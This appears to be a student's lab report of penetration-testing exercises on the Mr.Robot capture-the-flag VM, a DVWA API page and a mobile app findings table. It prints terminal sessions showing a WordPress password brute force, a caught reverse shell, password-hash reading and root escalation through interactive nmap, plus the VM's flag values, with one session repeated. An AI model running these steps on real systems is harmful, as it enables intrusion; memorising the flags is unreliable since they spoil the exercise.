



## VAPT 4<sup>th</sup> Report

### 1 – Advanced Exploitation

Target: 192.168.0.142 (Mr.Robot VM)

Tools: Metasploit

```
Currently scanning: Finished! | Screen View: Unique Hosts
77 Captured ARP Req/Rep packets, from 11 hosts. Total size: 4620
```

IP	At	MAC Address	Count	Len	MAC Vendor / Hostname
192.168.0.1	e8:65:d4:0b:17:10	26	1560	Tenda Technology Co.,Ltd.Dongguan branch	
192.168.0.183	7c:b5:66:ca:c8:8a	23	1380	Intel Corporate	
192.168.0.182	5c:62:8b:c2:c2:75	1	60	TP-Link Corporation Limited	
192.168.0.141	c0:8d:51:87:af:c6	1	60	Amazon Technologies Inc.	
192.168.0.170	2c:71:ff:c7:ac:6a	1	60	Amazon Technologies Inc.	
192.168.0.171	2a:6b:7a:92:ad:61	1	60	Unknown vendor	
192.168.0.177	fa:76:84:5d:46:82	1	60	Unknown vendor	
192.168.0.142	00:0c:29:d5:7d:73	12	720	VMware, Inc.	
0.0.0.0	dc:f5:05:ed:a1:55	3	180	AzureWave Technology Inc.	
192.168.0.130	dc:f5:05:ed:a1:55	5	300	AzureWave Technology Inc.	
192.168.0.123	46:f7:a7:85:70:cf	3	180	Unknown vendor	

```
User-agent: *
fsociety.dic
key-1-of-3.txt
```

```
073403c8a58a1f80d943455fb30724b9
```

```
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
All Found
Progress Time: 00:00:12
Valid Combinations Found:
| Username: elliot, Password: ER28-0652
```



```
(ujjwal@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.133] from (UNKNOWN) [192.168.0.142] 53919
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
13:44:05 up 33 min, 0 users, load average: 0.02, 0.10, 0.44
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r----- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@linux:~$
```

```
(ujjwal@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.133] from (UNKNOWN) [192.168.0.142] 53920
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
13:54:03 up 43 min, 0 users, load average: 1.20, 0.65, 0.49
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$ abcdefghijklmnopqrstuvwxyz
abcdefghijklmnopqrstuvwxyz
bash: abcdefghijklmnopqrstuvwxyz: command not found
robot@linux:/$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
#
```

## 2 – API Security Testing Lab

Description:

DVWA API testing



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript Attacks

Authorisation Bypass

Open HTTP Redirect

Cryptography

API

## Vulnerability: API Security

Versioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities.

Look at the call used to create this table and see if you can exploit it to return some additional information.

### More Information

- [OWASP WSTG API Testing Overview](#)
- [Burp OpenAPI Parser](#)
- [ZAP OpenAPI Support](#)
- [Swagger UI](#)
- [Postman](#)

200	GET	localhost:4280	add_event_listeners.js	script	js	cached	593 B
200	GET	localhost:4280	logo.png	img	png	cached	8.30 kB
200	GET	localhost:4280	/vulnerabilities/api/v2/user/	/vulnerabilities/api/1...	json	565 B	101 B

### 3 – Privilege Escalation and Persistence Lab

Target: 192.168.0.142 (Mr.Robot VM)

Tools: metasploit

```
(ujjwal@kali)~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.133] from (UNKNOWN) [192.168.0.142] 53919
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
13:44:05 up 33 min, 0 users, load average: 0.02, 0.10, 0.44
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-rw-r--r-- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@linux:~$
```



```
(ujjwal@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.0.133] from (UNKNOWN) [192.168.0.142] 53920
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
13:54:03 up 43 min, 0 users, load average: 1.20, 0.65, 0.49
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$ abcdefghijklmnopqrstuvwxyz
abcdefghijklmnopqrstuvwxyz
bash: abcdefghijklmnopqrstuvwxyz: command not found
robot@linux:/$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
#
```

## 5 – Mobile Application Testing

Vulnerability	Severity
Cleartext Traffic Enabled	High
Trusts User-Installed Certificates	High
App Supports Outdated Android Version	High
Insecure External Storage Access	Warning
allowBackup Enabled	Warning
Exported Activity - CurrencyRates	Warning
Exported Activity - SendMoney	Warning
Exported Activity - ViewBalance	Warning
Exported Activity - Biometric Handler	Warning
Logs Sensitive Information	Info
Hardcoded API Keys (Firebase/Google)	Info